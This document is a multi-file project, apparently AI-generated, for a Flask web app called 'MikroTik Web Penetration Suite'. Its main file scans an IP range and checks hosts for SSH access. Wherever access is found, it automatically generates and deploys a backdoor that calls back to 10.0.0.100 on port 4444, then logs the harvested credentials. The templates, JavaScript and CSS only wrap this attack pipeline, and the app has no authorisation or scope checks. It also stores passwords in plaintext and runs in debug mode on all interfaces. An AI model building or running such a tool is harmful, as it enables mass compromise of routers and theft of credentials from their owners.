MikroTik PenSuite - {% block title %}{% endblock %}

[jitProject id="mikrotik-web-penetration-suite" title="MikroTik Web Penetration Suite"] [jitFile type="file" filePath="web_interface/app.py"] from flask import Flask, render_template, request, jsonify, session, redirect, url_for from flask_socketio import SocketIO, emit from flask_login import LoginManager, UserMixin, login_user, logout_user, login_required from flask_sqlalchemy import SQLAlchemy from scanner.network_probe import NetworkProbe from scanner.vulnerability_check import RouterInspector from operations.payload_manager import PayloadEngine import threading import time import os app = Flask(__name__) app.secret_key = os.urandom(24) app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///pentest.db' app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False socketio = SocketIO(app, async_mode='threading') db = SQLAlchemy(app) login_manager = LoginManager() login_manager.init_app(app) class User(UserMixin, db.Model): id = db.Column(db.Integer, primary_key=True) username = db.Column(db.String(80), unique=True) password = db.Column(db.String(120)) class ScanResult(db.Model): id = db.Column(db.Integer, primary_key=True) target = db.Column(db.String(15)) ports = db.Column(db.String(200)) credentials = db.Column(db.String(200)) payload_status = db.Column(db.Boolean) @app.route('/') @login_required def dashboard(): return render_template('dashboard.html') @app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'POST': user = User.query.filter_by(username=request.form['username']).first() if user and user.password == request.form['password']: login_user(user) return redirect(url_for('dashboard')) return render_template('login.html') @app.route('/logout') @login_required def logout(): logout_user() return redirect(url_for('login')) @app.route('/start_scan', methods=['POST']) @login_required def start_scan(): target_range = request.form.get('ip_range') scan_type = request.form.get('scan_type') thread = threading.Thread( target=run_scan, args=(target_range, scan_type, session['user_id']) ) thread.start() return jsonify({'status': 'scan_started'}) def run_scan(target_range, scan_type, user_id): probe = NetworkProbe(target_range) inspector = RouterInspector() payload_engine = PayloadEngine() targets = probe.arp_scan() for ip, ports in targets.items(): vulns = inspector.inspect_host(ip) result = ScanResult( target=ip, ports=','.join(map(str, ports)), credentials=str(vulns.get('ssh_access')), payload_status=False ) if vulns.get('ssh_access'): payload = payload_engine.generate_backdoor("10.0.0.100", 4444) deployment = payload_engine.deploy_payload(ip, vulns['ssh_access'], payload) result.payload_status = deployment db.session.add(result) db.session.commit() socketio.emit('scan_update', {'status': 'complete'}) @app.route('/results') @login_required def show_results(): results = ScanResult.query.all() return render_template('results.html', results=results) @login_manager.user_loader def load_user(user_id): return User.query.get(int(user_id)) if __name__ == '__main__': with app.app_context(): db.create_all() socketio.run(app, debug=True, host='0.0.0.0', port=5000) [/jitFile] [jitFile type="file" filePath="web_interface/templates/base.html"] MikroTik PenSuite - {% block title %}{% endblock %}

{% block content %}{% endblock %}

[/jitFile] [jitFile type="file" filePath="web_interface/templates/dashboard.html"] {% extends "base.html" %} {% block title %}Dashboard{% endblock %} {% block content %}

Network Scanner

{% endblock %} [/jitFile] [jitFile type="file" filePath="web_interface/templates/results.html"] {% extends "base.html" %} {% block title %}Scan Results{% endblock %} {% block content %}

Scan Results

{% for result in results %} {% endfor %}

Target IP	Open Ports	Credentials	Payload Status
{{ result.target }}	{{ result.ports }}	{{ result.credentials\|default('None', true) }}	{% if result.payload_status %} Success {% else %} Failed {% endif %}

{% endblock %} [/jitFile] [jitFile type="file" filePath="web_interface/static/js/app.js"] document.getElementById('scanForm').addEventListener('submit', function(e) { e.preventDefault(); const progressBar = document.querySelector('.progress-bar'); const statusText = document.getElementById('statusText'); const scanProgress = document.getElementById('scanProgress'); scanProgress.style.display = 'block'; progressBar.style.width = '0%'; statusText.textContent = 'Initializing scan...'; fetch('/start_scan', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: new URLSearchParams(new FormData(this)) }) .then(response => response.json()) .then(data => { const source = new EventSource('/scan_updates'); source.onmessage = function(event) { const update = JSON.parse(event.data); progressBar.style.width = update.progress + '%'; statusText.textContent = update.message; if (update.progress === 100) { source.close(); setTimeout(() => { window.location.reload(); }, 2000); } }; }); }); [/jitFile] [jitFile type="file" filePath="web_interface/static/css/custom.css"] .navbar-brand { font-weight: 700; letter-spacing: 1px; text-transform: uppercase; } .card { border: none; box-shadow: 0 0 15px rgba(0,0,0,0.1); margin-bottom: 2rem; } .progress { height: 25px; border-radius: 12px; overflow: hidden; } .progress-bar { transition: width 0.3s ease; } .table-hover tbody tr:hover { background-color: rgba(220,53,69,0.1); } .badge { font-size: 0.9em; padding: 0.5em 0.75em; } [/jitFile] [jitFile type="file" filePath="web_interface/requirements.txt"] flask==3.0.2 flask-sqlalchemy==3.1.1 flask-login==0.6.3 flask-socketio==5.3.6 paramiko==3.4.0 requests==2.31.0 python-socketio==5.11.2 python-engineio==4.9.0 [/jitFile] [/jitProject]